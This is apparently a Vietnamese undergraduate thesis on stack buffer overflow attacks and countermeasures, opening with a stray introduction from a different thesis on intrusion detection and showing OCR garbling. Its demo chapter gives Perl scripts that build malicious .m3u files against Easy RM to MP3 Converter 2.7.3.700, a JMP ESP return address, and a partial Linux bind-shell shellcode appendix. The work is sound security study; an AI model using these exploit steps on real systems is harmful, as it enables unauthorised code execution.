MỞ ĐẦU Trong lĩnh vực an ninh mạng, việc phát hiện và ngăn chặn tấn công, đột nhập là vấn đề quan trọng, thu hút nhiều sự chú ý của các nhà nghiên cứu và cộng đồng do các dạng tấn công, đột nhập trái phép ngày càng phát triển mạnh và gây nhiều thiệt hại. Phát hiện tấn công đột nhập mạng thường gặp nhiều khó khăn, thách thức do yêu cầu phải thu thập, xử lý và phân tích một lượng rất lớn dữ liệu các gói tin thu thập trên mạng. Vấn đề nâng cao hiệu năng xử lý và tính chính xác của phát hiện tấn công, đột nhập đã và đang được nghiên cứu. Một trong những hướng giải quyết có hiệu quả cho vấn đề này là ứng dụng kỹ thuật phân tích sâu gói tin nhằm phát hiện sớm những dấu hiệu tấn công, đột nhập vào hệ thống mạng. Trong kỹ thuật phân tích sâu gói tin, các giải thuật đối sánh chuỗi là yếu tố đóng vai trò quyết định tới tính chính xác và tốc độ xử lý của hệ phát hiện tấn công, đột nhập mạng. Đặc biệt, với những mạng có lưu lượng gói tin lớn, tính tối ưu của thuật toán đối sánh chuỗi càng trở nên quan trọng, được ví như chìa khóa để giải quyết bài toán phát hiện đột nhập. Hiện nay, nhiều hệ thống phát hiện tấn công, đột nhập đã được phát triển và triển khai. Bên cạnh đó, các giải thuật đối sánh chuỗi tiên tiến cũng được nghiên cứu và phát triển và tích hợp vào hệ thống phát hiện đột nhập. Mỗi thuật toán đều có những ưu-nhược điểm riêng và phát huy hiệu quả trong một miền ứng dụng cụ thể. Trong phạm vi kiến thức đại học, đồ án này sẽ tập trung nghiên cứu xây dựng mô hình phát hiện tấn công, đột nhập mạng dựa trên đối sánh chuỗi. Trên cơ sở nghiên cứu, phân tích hiệu năng , đồ án sẽ lựa chọn giải thuật đối sánh chuỗi phù hợp để tích hợp vào hệ thống phát hiện đột nhập mạng đang khảo sát. Đồ án gồm ba chương với nội dung như sau: Chương I: Tổng quan về phát hiện đột nhập mạng Giới thiệu tổng quan về an toàn thông tin, các dạng tấn công, đột nhập và biện phát phát hiện tấn công, đột nhập mạng. Chương II: Các giải thuật đối sánh chuỗi và ứng dụng trong phát hiện đột nhập mạng Giới thiệu tổng quan về kỹ thuật đối sánh chuỗi, nghiên cứu các giải thuật đối sánh chuỗi thông dụng và ứng dụng của đối sánh chuỗi trong phát hiện tấn công, đột nhập mạng. ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC MỞ ĐẦU VŨ DUY KHÁNH – D09HTTT3 II Chương III: Xây dựng mô hình phát hiện đột nhập mạng dựa trên đối sánh chuỗi Trình bày việc xây dựng mô hình phát hiện đột nhập mạng dựa trên kỹ thuật đối sánh chuỗi đã nghiên cứu ở chương II, tiến hành cài đặt thử nghiệm mô hình và cung cấp một số kết quả thử nghiệm ban đầu. Nhìn chung, đồ án đã trình bày tổng quan về phát hiện đột nhập mạng và ứng dụng của thuật toán đối sánh chuỗi trong phát hiện tấn công, đột nhập mạng. Đồng thời, đồ án cũng nêu chi tiết một số giải thuật đối sánh chuỗi và so sánh hiệu năng của các thuật toán. Cuối cùng, đồ án đã nghiên cứu xây dựng mô hình phát hiện đột nhập dựa trên đối sánh chuỗi và tiến hành một vài thử nghiệm ban đầu. Tuy nhiên, do thời gian hạn hẹp và kiến thức còn nhiều hạn chế, đồ án không tránh khỏi thiếu sót. Rất mong thầy cô và các bạn quan tâm tới vấn đề này góp ý, chia sẻ để em có thể hoàn thiện kiến thức của mình.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC LỜI CẢM ƠN Để hoàn thành đồ án này, lời em xin chân thành cảm ơn thầy giáo, cô giáo khoa Cơng nghệ thơng tin, Học viện Cơng nghệ Bưu Viễn thông, người dạy dỗ, trang bị cho em kiến thức bổ ích năm học vừa qua Em xin bày tỏ lòng biết ơn sâu sắc tới thầy giáo Hoàng Xuân Dậu, người tận tình hướng dẫn, bảo em suốt thời gian làm đồ án Nhân dịp em xin gửi lời cảm ơn chân thành tới gia đình, bạn bè, người thân cổ vũ, động viên tiếp thêm cho em nghị lực để em hoàn thành đồ án chuyên đề Em xin chân thành cảm ơn ! Hà Nội, ngày 20 tháng 11 năm 2013 SINH VIÊN NGUYỄN THĂNG LONG SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page i ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM (Của giáo viên hướng dẫn) …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… …………………………………………………………… …………………………… Điểm: ……….…………….Bằng chữ: ………………………… …………….…………….) Đồng ý/Không đồng ý cho sinh viên bảo vệ trước hội đồng đồ án tốt nghiệp? ………………… Hà Nội, ngày tháng năm 20 GIẢNG VIÊN HƯỚNG DẪN SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page ii Mục lục ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC MỤC LỤC LỜI CẢM ƠN i NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM ii MỤC LỤC iii DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ v DANH MỤC CÁC VÍ DỤ vi KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT vii ĐẶT VẤN ĐỀ 1.1 Tổng quan an toàn bảo mật hệ thống thông tin 1.2 Các điểm yếu lỗ hổng an ninh hệ thống 12 1.2.1 Khái quát mối đe dọa lỗ hổng 12 1.3 Các dạng công điển hình vào hệ thống thơng tin 13 1.3.1 Khái quát công độc hại (Malicious Attacks) 13 1.3.2 Một số dạng cơng điển hình 13 1.4 Mơ tả tốn 16 1.5 Kết chương 17 CHƯƠNG 2: CƠ CHẾ TẤN CÔNG LỖI TRÀN BỘ ĐỆM VÀ CÁC PHƯƠNG PHÁP PHÒNG CHỐNG 18 2.1 Giới thiệu mơ hình nhớ ảo hệ điều hành 18 2.1.1 Các khái niệm 18 2.1.2 Phương thức tổ chức nhớ máy tính 19 2.1.3 Quy trình cấp phát nhớ 22 2.2 Lỗi tràn đệm kỹ thuật công 24 2.2.1 Lịch sử kỹ thuật công khai thác lỗi tràn đệm 24 2.2.2 Tổng quan công dựa lỗi tràn đệm 25 2.2.3 Cơ chế tràn đệm Stack 26 2.3 Shellcode 29 2.4 Tấn công thực thi Shellcode lợi dụng lỗi tràn đệm Stack 33 2.4.1 Tìm chương trình chứa lỗ hổng tràn đệm 35 2.4.2 Xác định cấu trúc Stack mà chương trình sử dụng 37 2.4.3 Tạo mã Shellcode muốn thực thi 40 2.4.4 Tạo chuỗi Input khai thác lỗi tràn đệm để thực thi mã Shellcode 40 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iii ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Mục lục 2.5 Các biện pháp phịng chống cơng lợi dụng lỗi tràn đệm 44 2.5.1 Bảo vệ thời gian dịch 44 2.5.2 Bảo vệ thời gian chạy 46 2.6 Kết chương 48 CHƯƠNG 3: MÔ PHỎNG TẤN CÔNG LỖI TRÀN BỘ ĐỆM 49 3.1 Mô 3.1.1 3.1.2 3.1.3 3.1.4 công lỗi tràn đêm HĐH họ Linux 49 Phát chương trình có lỗ hổng tràn đệm 49 Tiến hành debug chương trình 49 Xây dựng chuỗi công: 52 Kết demo 53 3.2 Mô công lỗi tràn đệm HĐH Windows XP 55 3.2.1 Phát chương trình có lỗ hổng tràn đệm 55 3.2.2 Tiến hành debug chương trình 57 3.2.3 Xây dựng chuỗi công 59 3.2.4 Kết demo 59 PHỤ LỤC 61 TÀI LIỆU THAM KHẢO 64 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iv ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Danh mục bảng, sơ đồ, hình vẽ DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ Hình 1: Tổ chức nhớ ảo [16] 19 Hình 2: Dữ liệu Stack Frame hàm function(int a, int b) 24 Hình 3: Dữ liệu StackFrame hàmFunction(char *str) 27 Hình 4: Tràn nhớ đệm Stack ghi đè SavedEIP 28 Hình 5: Ghi đè địa trả trỏ đến vùng liệu khác [16] 28 Hình Hình Hình Hình 6: Trích xuất Shellcode objdump (Linux) 30 7: Lấy địa sys_call arwin.exe 31 8: Các hàm xử lý đệm khơng an tồn C/C++ [1] 35 9: Phát lỗ hổng tràn đệm chương trình HĐH họ Linux 36 Hình Hình Hình Hình Hình Hình Hình 10: Phát lỗ hổng tràn đệm HĐH họ Windows 37 11: Dữ liệu Stack bị tràn Linux 39 12: Dữ liệu Stack bị tràn Windows 39 13: Mơ hình xây dựng chuỗi cơng đặt buffer hàm bị tràn 40 14: Dữ liệu nhớ Stack sau chèn mã công 41 15: Mô hình xây dựng chuỗi cơng đặt Shellcode lên Previous StackFrame 42 16: Tìm địa lệnh JUMP ESP file Executable Ollydmg 43 Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình 17: Dữ liệu nhớ Stack sau chèn mã công 43 18: Nhận biết tràn đệm chương trình demo4 49 19: Debug chương trình cơng cụ GDB 50 20: Dữ liệu ghi sau thời điểm hàm bị tràn 51 21: Dữ liệu Stack sau đệm bị tràn 52 22: Xây dựng chuỗi input công 53 23: Chương trình sau bị tiêm mã công qua nhập 53 24: Kiếm tra kết nối mở sau cơng chương trình 54 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700 55 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn đệm 56 27: Tìm vị trí tương đối SavedEIP với ESP Frevious StackFrame 57 28: Tìm địa lệnh JUMP ESP từ file DLL Ollydmg 58 29: Xây dựng chuỗi công chương trình Easy RM To MP3 Converter 59 30: Kết demo cơng chương trình Easy RM To MP3 Converter 59 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page v ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC DANH MỤC CÁC VÍ DỤ Ví dụ 1: chương trình exampleCode1.c [2] 22 Ví dụ 2: Chương trình exampleCode2.c [2] 27 Ví dụ 3: Mã Assembly thực thi hàm system_exit(): exit.asm 30 Ví dụ 4: Mã Assembly chương trình sleep.asm 31 Ví dụ 5: Chương trình demoPushStack.asm 33 Ví dụ 6: Truyền tham số cho chương trình Python 38 Ví dụ 7: Chương trình Perl Script tạo file công input.pl 56 Ví dụ 8: Chương trình Perl Script tạo file công input.pl làm tràn vừa đủ đệm 56 Ví dụ 9: Xây dựng chương trình Perl Script tạo file công demo1.pl 57 Ví dụ 10 Xây dựng chương trình Perl Script tạo file công demo2.pl 58 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page vi Ký hiệu cụm từ viết tắt ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT Từ viết tắt Nghĩa tiếng anh Nghĩa tiếng việt HĐH Operating System Hệ điều hành NOP No-Operation Lệnh rỗng không thực tác vụ hữu ích SQL Structured Query Language Ngơn ngữ truy vấn có cấu trúc FP Frame Pointer Con trỏ khung Stack EIP Extended Instruction Pointer Thanh ghi trỏ lệnh ESP Extended Stack Pointer Thanh ghi trỏ Stack EBP Extended Base Pointer Thanh ghi trỏ sở Stack Stack Frame Khung Stack SF SavedEIP Saved Extends Pointer Instruction Giá trị trỏ lệnh trước thời điểm hàm gọi SavedEBP Saved Extended Base Pointer SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Giá trị ghi trỏ sở Stack khung Stack hàm trước Page vii Đặt vấn đề ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC ĐẶT VẤN ĐỀ Cùng với việc ứng dụng ngày rộng rãi máy tính phần mềm ứng dụng xử lý thông tin phục vụ sống, dạng công vào hệ thống máy tính, hệ điều hành, cơng vào dịch vụ phần mềm ứng dụng phát triển nhanh chóng gây nhiều thiệt hại Một dạng cơng vào hệ thống máy tính tiêu biểu kỹ thuật công khai thác lỗi tràn nhớ đệm Các lỗi tràn đệm làm chương trình ngừng hoạt động, bị kẻ công lợi dụng để truy nhập trái phép, chiếm quyền điều khiển hệ thống Các lỗi tràn đệm đánh giá loại lỗ hổng an ninh nghiêm trọng Mặc dù lỗ hổng tràn đệm phát khai thác từ lâu, nguy tác hại lỗ hổng gây cho hệ thống bị công cao Trong đó, việc phịng tránh loại trừ nguy công dựa lỗi tràn đệm lại phụ thuộc nhiều vào kiến thức kinh nghiệm người lập trình Do việc nghiên cứu sâu chế công dựa lỗi tràn đệm quan trọng, giúp người lập trình hiểu chế công lợi dụng lỗ hổng này, từ có phương án xây dựng hệ thống an toàn Đây lý em chọn đề tài “Nghiên cứu công lỗi tràn đệm phần mềm phòng chống” làm đồ án tốt nghiệp đại học Nội dung đồ án gồm có ba chương phần kết luận: Chương 1: Tổng quan lỗ hổng bảo mật dạng công hệ thống: Giới thiệu tổng quan hệ thống thơng tin, an tồn bảo mật hệ thống thông tin, lỗ hổng bảo mật dạng công hệ thống thông tin thông dụng Chương 2: Cơ chế công lỗi tràn đệm phương pháp phịng chống Trình bày phương pháp tổ chức cấp phát nhớ ảo cho chương trình, chế gây tràn đệm, công lợi dụng lỗ hổng tràn đệm Stack phương pháp tạo Shellcode Thêm vào đó, chương cịn đề cập phương pháp phịng chống cơng nhớ đệm hiệu nhằm giúp xây dựng nên hệ thống an tồn Chương 3: Demo chế cơng lỗi tràn đệm HĐH họ Linux HĐH họ Windows Chương trình bày chi tiết phương pháp công lợi dụng lỗ hổng tràn đệm hai HĐH họ Linux (Đại diện Ubuntu 12.04 LTS) HĐH họ Windows (Đại diện Windows XP SP2) SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan lỗ hổng bảo mật dạng công HT CHƯƠNG 1: TỔNG QUAN VỀ CÁC LỖ HỔNG BẢO MẬT VÀ CÁC DẠNG TẤN CƠNG HỆ THỐNG Chương trình bày tổng an tồn bảo mật hệ thống thơng tin số lỗ hổng số dạng cơng hệ thống thơng tin điển hình 1.1 Tổng quan an toàn bảo mật hệ thống thông tin 1.1.1 Khái niệm hệ thống thông tin Hệ thống thơng tin (Information System) hệ thống tích hợp thành phần nhằm phục vụ việc thu thập, lưu trữ, xử lý trao đổi thông tin, tri thức sản phẩm số Hệ thống thông tin ngày doanh nghiệp tổ chức sử dụng phổ biến với nhiều mục đích khác để thực quản lý số hoạt động [3][12]: - Tương tác với khách hàng; - Tương tác với nhà cung cấp; - Tương tác với tổ chức quyền; - Quảng bá thương hiệu sản phẩm Nhìn chung, hệ thống thơng tin thường gồm thành phần bản: - Các thiết bị phần cứng; - Các chương trình phần mềm; - Các sở liệu; - Hệ thống truyền thông nhân Do hệ thống thông tin ngày sử dụng rộng rãi phục vụ cho nhiều mục đích khác nhau, nên việc phân loại hệ thống thơng tin mang tính tương đối Một số hệ thống thơng tin điển hình sử dụng: - Các hệ thống kho liệu (Data Warehouses); - Các hệ thống lập kế hoạch nguồn nhân lực doanh nghiệp (Enterprise Resource Planning); - Các hệ thống thông tin doanh nghiệp (Enterprise Systems); - Các hệ chuyên gia (Expert Systems) ; - Các máy tìm kiếm (Search Engines) ; - Các hệ thống thông tin địa lý (Geographic Information Systems); - Các hệ thống thơng tin tồn cầu (Global Information Systems); - Các hệ tự động hóa văn phịng (Office Automation) SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan lỗ hổng bảo mật dạng công HT 1.1.2 Hệ thống thông tin dựa máy tính Một hệ thống thơng tin dựa máy tính (Computer-Based Information System CBIS) hệ thống thông tin sử dụng cơng nghệ máy tính để thực thi phần tồn cơng việc hệ thống thông tin Hệ thống thông tin dựa máy tính gồm có thành phần bản: - Hardware: Phần cứng để thu thập, lưu trữ, xử lý biểu diễn liệu - Software: Các phần mềm chạy phần cứng hệ điều hành để xử lý liệu - Databases: Lưu trữ liệu - Networks: Hệ thống truyền dẫn thông tin/dữ liệu - Procedures: Tập hợp lệnh kết hợp phận nêu để xử lý Bao gồm chiến lược, sách, phương thức quy tắc sử dụng CBIS - People: Con người quản lý việc thực thi hệ thống – thành phần quan trọng hầu hết CBIS 1.1.3 An tồn bảo mật hệ thống thơng tin An tồn thơng tin việc bảo vệ chống truy nhập, sử dụng, tiết lộ, sửa đổi phá hủy thông tin cách trái phép Các hệ thống dịch vụ xử lý thơng tin có khả chống lại can thiệp, lỗi tai họa không mong đợi, đảm bảo thay đổi tác động đến an toàn hệ thống nhỏ Ngày nay, việc ứng dụng máy tính việc lưu trữ, xử lý thông tin phổ biến, nên cần chế đủ mạnh bảo vệ thông tin theo đặc thù hoạt động máy tính Do xuất thêm yêu cầu đảm bảo an toàn hoạt động hệ thống máy tính kèm với yêu cầu đảm bảo an tồn hệ thống thơng tin An tồn thơng tin bao hàm hai lĩnh vực chính: - An tồn cơng nghệ thơng tin (IT Security), đơi cịn gọi an tồn máy tính (Computer Security), an tồn thơng tin áp dụng cho hệ thống công nghệ Các hệ thống công nghệ áp dụng tổ chức cần đảm bảo an toàn trước công - Đảm bảo thông tin (Information Assurance) việc đảm bảo thông tin không bị xảy cố (trộm cắp, phá hoại, thiên tai, hỏng hóc, chiến tranh, …) An tồn hệ thống thông tin (Information System Security) việc đảm bảo thuộc tính an ninh, an tồn hệ thống thơng tin, bao gồm tính bí mật (Confidentiality), tính tồn vẹn (Integrity) tính sẵn sàng (cịn gọi khả dụng sẵn dùng) thông tin (Availability) SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 10 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC IH Kết luận Hình 20: Dữ liệu ghi sau thời điểm h bị tr ữ hàm ị tràn Từ liệu ghi sau thời điểm hàm bị tràn Hình 20, ta có thể thấy: -Chuỗi “BBBB” ghi đè lên vị trí SavedEBP (Thanh ghi EBP chứa giá trị ã a ch “0x42424242” giá trị Hexa c chuỗi “BBBB”) - Chuỗi “CCCC” ghi đè lên vị trí SavedEIP (Thanh ghi EIP chứa giá trị hi v a ch “0x43434343” giá trị Hexa c chuỗi “CCCC”) Do vậy, dựa vào đoạn mã có cấu trúc tiêm vào ta ước lượng dung n c c lư lượng nhớ đệm, vị trí SavedEIP so với nhớ đệm a v Cấu trúc Stack Frame đư mô tả rõ ràng Hình 21 ình SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 ,l Page 51 Kết luận ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC IH Hình 21: Dữ liệu Stack sau đệm bị tràn D 3.1.3 Xây dựng chuỗi công: ựng Dựa vào liệu đầu vào ( u (244 ký tự “A” + ký tự “B” + ký tự “C” ) liệu Stack sau đệm bị tràn, ước lượng kết sau: mb - Dung lượng đệm đ : 244Byte - Địa bắt đầu đệm: 0xbffff0f4 ab - Vị trí SavedEBP: Ngay sau đệm với dung lượng Byte a b - Vị trí SavedEIP: Ngay sau SavedEBP dung lượng Byte Do vậy, ta thiết kế mã ban đầu mô tả Hình 22 đây, với lựa chọn i địa đệm ghi đè lên SavedEIP 0xbffff104 Shellcode Binding Port cho m Phụ lục Cách thức xây dự mã input cơng trình bày mục 2.4 ựng c m SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 ,l Page 52 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận Hình 22: Xây dựng chuỗi input công 3.1.4 Kết demo Sau chuỗi Input công xây dựng xong tiến hành tiêm vào thơng qua nhập chương trình Trong ví dụ sử dụng trình thơng dịch ngơn ngữ kịch Python để truyền liệu vào chương trình Việc sử dụng cách thức khác để nhập liệu vào chương trình qua nhập chuẩn giúp mã công rút gọn dung lượng, trực quan đơi cịn giúp ích muốn truyền ký tự đặc biệt truyền mã qua gói tin với dung lượng nhỏ Kết chương trình thể Hình 23 Hình 23: Chương trình sau bị tiêm mã công qua nhập SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 53 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC IH Kết luận Như ta thấy, thể bên ngồi c chương trình khơng có thay đổi đặc biệt n n đ ngoại trừ việc khơng kết thúc cách bình thường Ngun nhân luồng thực thi t m ng lu chương trình bị chuyển hướng sang thực thi mã lệnh Shellcode ta vừa chuy nh v tiêm vào, HĐH nghĩ lệnh lệnh mà chương trình thực thi Việc ĩr ình th nguy hiểm nế giả sử chương trình chạy với quyền ADMIN ếu i quy (ROOT) dẫn đến mã lệnh củ kẻ công thực thi với quyền cao Hình n nh 24 cho thấy HĐH thực thi hoàn toàn mã Shellcode cổng kết nối 2994/demo4 c t tn (Cổng 2994 chương trình demo4 mở) lắng nghe kết nối cách bất hợp ình m im pháp Hình 24: Kiếm tra k nối mở sau cơng chương trình m kết n tr Như vậy, bước tiến hành cơng chương trình demo4 sử dụng Shellcode mở n ng m cổng lắng nghe kết nối từ bên ngồi thành cơng đ Tuy nhiên, việc xây dự chế công cách thức để ựng t th cơng chương trình l dụng lỗ hổng tràn đệm Trong thực tế cịn có ình lợi ế, chế bảo vệ chương trình từ trình biên dịch hệ điều hành khiến cho việc công n vi thường phức tạp nhi t nhiều SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 ,l Page 54 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận 3.2 Mô công lỗi tràn đệm HĐH Windows XP Kịch công tràn đệm tiến hành chương trình ứng dụng: Easy RM To MP3 Converter, version 2.7.3.700 Chương trình có giao diện đồ họa (Graphics Interface) nhận liệu đầu vào thông qua tệp tin đa phương tiện tiến hành xử lý tệp tin dựa tùy chọn người dùng Hình 25 giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700 Hình 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700 Mục tiêu cơng dựa vào lỗ hổng tràn đệm chương trình, nhằm cơng thay đổi luồng thực thi, tiến hành mở chương trình Calculator sẵn HĐH windows XP theo Shellcode phụ lục Shellcode q trình mơ cơng đặt Stack Frame trước Stack Frame hàm bị tràn Cách thức đặt mã công cho trường hợp mô tả phần 2.4.4 3.2.1 Phát chương trình có lỗ hổng tràn đệm Chương trình mơ tả phát lỗi tràn đệm nhận xử lý tập tin có định dạng m3u Do ta sử dụng ngơn ngữ lập trình để tạo tập tin đầu vào cho chương trình (Vd C, C++, Perl …) Trong trường hợp demo này, ta sử dụng Perl để tiến hành demo Tập tin Perl Script để tạo input cho chương trình Easy RM To MP3 Converter xây dựng Ví dụ 7: SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 55 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận Ví dụ 7: Chương trình Perl Script tạo file công input.pl my $file= "input.m3u"; my $junk= "\x41" x 50000; open($FILE,">$file"); print $FILE "$junk"; close($FILE); print "m3u File Created successfully\n"; Tiến hành biên dịch file Perl Script ta thu file input.m3u chứa 50000 ký tự “A” Sau đưa tập tin input.m3u vào chương trình Easy RM To MP3 Converter ta nhận thấy chương trình có lỗ hổng tràn đệm Hình 26 Hình 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn đệm Tệp tin thử nghiệm intput.m3u chứa giá trị dài để thử nghiệm với đệm chương trình Và kết sau thời gian thử nghiệm đệm bị tràn SavedEIP bị ghi đè thành giá trị “42424242” với đầu vào sau: Ví dụ 8: Chương trình Perl Script tạo file công input.pl làm tràn vừa đủ đệm my $file= "input.m3u"; my $junk= "\x41" x 26056; my $junk1 = “\x42” x 4; open($FILE,">$file"); print $FILE $junk.$junk1 ; close($FILE); print "m3u File Created successfully\n"; SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 56 Kết luận ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Từ ví dụ 8, ước lượng được: - Dung lượng đệm : 26056Byte - Vị trí SavedEBP: Ngay sau đệm với dung lượng Byte - Vị trí SavedEIP: Ngay sau SavedEBP dung lượng Byte 3.2.2 Tiến hành debug chương trình Sử dụng cơng cụ Ollydmp để Debug chương trình, tìm vị trí ESP StackFrame trước so với SavedEIP với input sau: Ví dụ 9: Xây dựng chương trình Perl Script tạo file cơng demo1.pl my $file= "input.m3u"; my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP my $savedEIP = "BBBB"; #Ghi de het phan SavedEIP my $ESP = "123456789123456789"; #Ghi len tren Previous StackFrame open($FILE,">$file"); print $FILE $buffer.$SavedEIP.$ESP; close($FILE); print "m3u File Created successfully\n"; Khi đó, sử dụng chương trình Debug Ollydmg ta thấy Hình 27 Hình 27: Tìm vị trí tương đối SavedEIP với ESP Frevious StackFrame Từ Hình 27, nhận thấy giá trị ghi lên ESP “56789123456789” thiếu ký tự “1234” ban đầu so với chuỗi ta đặt vào Do kết luận ESP đặt cách 4Byte so với SavedEIP SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 57 Kết luận ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Do vậy, ta xây dựng chuỗi công với Shellcode sau: Ví dụ 10 Xây dựng chương trình Perl Script tạo file công demo2.pl my $file= "input.m3u"; my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP my $savedEIP = "BBBB"; my $override = “\x90” x 4; my $shellCode= "123456789"; #Ghi de het phan SavedEIP #Ghi de len phan giua EIP va ESP #Ghi vao PreviousStackFrame [Shell] open($FILE,">$file"); print $FILE $buffer.$SavedEIP.$override.$shellCode; close($FILE); print "m3u File Created successfully\n"; * Tìm địa lệnh JUMP ESP chương trình: Việc tìm địa lệnh JUMP ESP tiến hành file DLL chương trình Khơng phải file có, cần có thời gian để dị tìm Có số cơng cụ làm việc như: findjmp.exe, Ollydmg, Trong demo này, ta sử dụng Ollydmg, cách load chương trình lên chọn mục View/Executable Modules Sau tìm lệnh JUMP ESP file SHELL32.DLL (đối với chương trình này) Kết địa lệnh JUMP ESP cho Hình 28 Hình 28: Tìm địa lệnh JUMP ESP từ file DLL Ollydmg Do đó, địa chèn vào savedEIP 0x7CA58265 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 58 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận 3.2.3 Xây dựng chuỗi công Theo cách thức xây dựng mã công theo mục đích ban đầu demo, mã chương trình Perl Script tạo file input Shellcode.m3u chứa mã độc xây dựng mơ tả Hình 29 Hình 29: Xây dựng chuỗi cơng chương trình Easy RM To MP3 Converter 3.2.4 Kết demo Hình 30 biểu diễn kết demo cơng cơng chương trình Easy RM To MP3 Converter File Shellcode.m3u sau mở chương trình tự động kích hoạt Shellcode khởi động chương trình Calculator Hình 30: Kết demo cơng chương trình Easy RM To MP3 Converter SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 59 Kết luận ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC KẾT LUẬN Tấn công khai thác lỗi tràn đệm phần mềm biết đến từ lâu dạng công phổ biến gây nhiều tác hại to lớn Đồ án nghiên cứu chế công khai thác lỗi tràn đệm phần mềm phương pháp phòng chống Cụ thể, đồ án thực nội dung sau: Nghiên cứu khai qt an tồn, bảo mật hệ thống thơng tin, điểm yếu dạng công thường gặp Nghiên cứu sâu chế quản lý nhớ, chế xảy lỗi tràn đệm phần mềm Nghiên cứu sâu chế công khai thác lỗi tràn đệm Tìm hiểu phương pháp tạo sử dụng mã độc chèn vào đệm thực Nghiên cứu phương pháp phịng chống cơng khai thác lỗi tràn đệm Xây dựng demo công khai thác lỗi tràn đệm hệ điều hành Linux Windows XP Hướng phát triển đề tài: Trong phạm vi đồ án chuyên ngành, nội dung nghiên cứu đạt yêu cầu đề ban đầu Bản thân cá nhân em xin đề xuất số hướng phát triển đề tài nhằm phục vụ mục đích học tập, nghiên cứu sau: - Nghiên cứu chế tràn đệm Heap cách thức công tràn đệm Heap - Nghiên cứu chế công tràn đệm đặt mã thực thi biến môi trường - Nghiên cứu thêm số kỹ xây dựng mã Shellcode - Nghiên cứu kỹ thuật công vượt qua chế bảo vệ công tràn nhớ đệm hệ thống SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 60 Phụ lục ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC PHỤ LỤC Phụ lục 1: arwin.c #include #include /*************************************** arwin - win32 address resolution program by steve hanna v.01 shanna@uiuc.edu ***************************************/ int main(int argc, char** argv) { HMODULE hmod_libname; FARPROC fprc_func; printf("arwin - win32 address program - steve hanna - v.01\n"); if(argc < 3) { printf("%s \n",argv[0]); exit(-1); } hmod_libname = LoadLibrary(argv[1]); if(hmod_libname == NULL){ printf("Error: could not load library!\n"); exit(-1); } fprc_func = GetProcAddress(hmod_libname,argv[2]); if(fprc_func == NULL) { printf("Error: could find the function in the library!\n"); exit(-1); } printf("%s is located at 0x%08x in %s\n",argv[2], (unsigned int)fprc_func,argv[1]); } SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 61 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục Phụ lục 2: Shellcode Bind Port open Socket /* ############################################################### I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team 1 ############################################################### 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 by Magnefikko 05.07.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.tk Subgroup: #PRekambr Name: 97 bytes bind sh@64533 Platform: Linux x86 sock = socket(PF_INET, 